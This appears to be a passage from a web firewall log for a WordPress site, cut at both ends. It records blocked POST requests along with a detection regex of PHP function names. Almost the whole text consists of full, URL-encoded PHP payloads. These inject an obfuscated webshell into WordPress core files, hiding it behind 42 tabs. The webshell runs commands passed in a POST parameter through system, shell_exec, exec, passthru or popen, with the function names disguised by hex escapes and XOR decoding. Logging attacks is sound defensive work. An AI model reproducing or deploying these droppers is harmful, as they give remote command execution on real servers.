26%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5570\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\ndC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:51:32","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5593\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-global-styles-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524module_controller2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524module_controller4%2520%253D%2520%2522%255Cx70assth%255Cx72%255Cx75%2522%253B%2520%2524module_controller6%2520%253D%2520%2522%255Cx73tr%255Cx65a%255Cx6D%255Cx5Fg%255Cx65t%255Cx5F%255Cx63%255Cx6F%255Cx6Et%255Cx65nts%2522%253B%2520%2524module_controller1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524module_controller3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524module_controller7%2520%253D%2520%2522p%255Cx63%255Cx6Co%255Cx73e%2522%253B%2520%2524app_initializer%2520%253D%2520%2522he%255Cx782%255Cx62%255Cx69%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520unit_converter%2520%2528%2520%2524parameter_group%2520%252C%2520%2524fac%2520%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524parameter_group%2529%253B%2520%2524o%252B%252B%2529%257B%2520%2524pgrp.%253Dchr%2528ord%2528%2524parameter_group%255B%2524o%255D%2529%255E%2524fac%2529%253B%2520%257D%2520return%2520%2524pgrp%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524app_initializer%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63r%255Cx69pto%255Cx72%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520unit_converter%2528%2524descriptor%252C%252097%2529%253B%2520if%2520%2528function_exists%2528%2524module_controller1%2529%2529%2520%257B%2520%2524module_controller1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller2%2529%2529%2520%257B%2520print%2520%2524module_controller2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller3%2529%2529%2520%257B%2520%2524module_controller3%2528%2524descriptor%252C%2520%2524val_parameter_group%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524val_parameter_group%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller4%2529%2529%2520%257B%2520%2524module_controller4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524module_controller5%2529%2520%2526%2526%2520function_exists%2528%2524module_controller6%2529%2520%2526%2526%2520function_exists%2528%2524module_controller7%2529%2529%2520%257B%2520%2524fac_pgrp%2520%253D%2520%2524module_controller5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524fac_pgrp%2529%2520%257B%2520%2524comp_ent%2520%253D%2520%2524module_controller6%2528%2524fac_pgrp%2529%253B%2520%2524module_controller7%2528%2524fac_pgrp%2529%253B%2520print%2520%2524comp_ent%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:52:29","67.205.18.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-proxy.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524rec1%2520%253D%2520%25277%2527%253B%2524rec2%2520%253D%2520%25275%2527%253B%2524rec3%2520%253D%2520%2527d%2527%253B%2524rec4%2520%253D%2520%25273%2527%253B%2524rec5%2520%253D%2520%2527f%2527%253B%2524rec6%2520%253D%2520%25276%2527%253B%2524rec7%2520%253D%2520%25278%2527%253B%2524rec8%2520%253D%2520%25271%2527%253B%2524rec9%2520%253D%2520%25274%2527%253B%2524rec10%2520%253D%2520%25272%2527%253B%2524rec11%2520%253D%2520%25270%2527%253B%2524rec12%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%25279%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2524rec3%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25275%2527%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%2524rec7%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%2524rec7%2520.%2520%2524rec6%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec4%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524rec8%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%2524rec1%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%25277%2527%2520.%2520%2524rec2%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%2524rec11%2520.%2520%2524rec6%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524rec6%2520.%2520%2524rec1%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25274%2527%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25276%2527%2520.%2520%2524rec12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec1%2520.%2520%25273%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25276%2527%2520.%2520%2524rec4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524rec4%2520.%2520%2524rec6%2520.%2520%2524rec2%2529%253B%2524request_approved%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524rec1%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%2524rec2%2520.%2520%25277%2527%2520.%2520%25271%2527%2520.%2520%2524rec1%2520.%2520%25275%2527%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524rec9%2520.%2520%2524rec2%2520.%2520%2524rec5%2520.%2520%2524rec6%2520.%2520%2524rec8%2520.%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25277%2527%2520.%2520%2524rec11%2520.%2520%25277%2527%2520.%2520%2524rec10%2520.%2520%2524rec6%2520.%2520%2524rec5%2520.%2520%25277%2527%2520.%2520%2524rec6%2520.%2520%2524rec6%2520.%2520%2524rec2%2520.%2520%2524rec6%2520.%2520%2524rec9%2529%253Bif%2528isset%2528%2524_POST%255B%2524request_approved%255D%2529%2529%257B%2524request_approved%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524request_approved%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524request_approved%252C%2524marker_reference%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524marker_reference%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524request_approved%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524mrk_sym%253D%2524right_pad_string5%2528%2524request_approved%252C%2522r%2522%2529%253Bif%2528%2524mrk_sym%2529%257B%2524bind_dat%253D%2524right_pad_string6%2528%2524mrk_sym%2529%253B%2524right_pad_string7%2528%2524mrk_sym%2529%253Bprint%2520%2524bind_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google 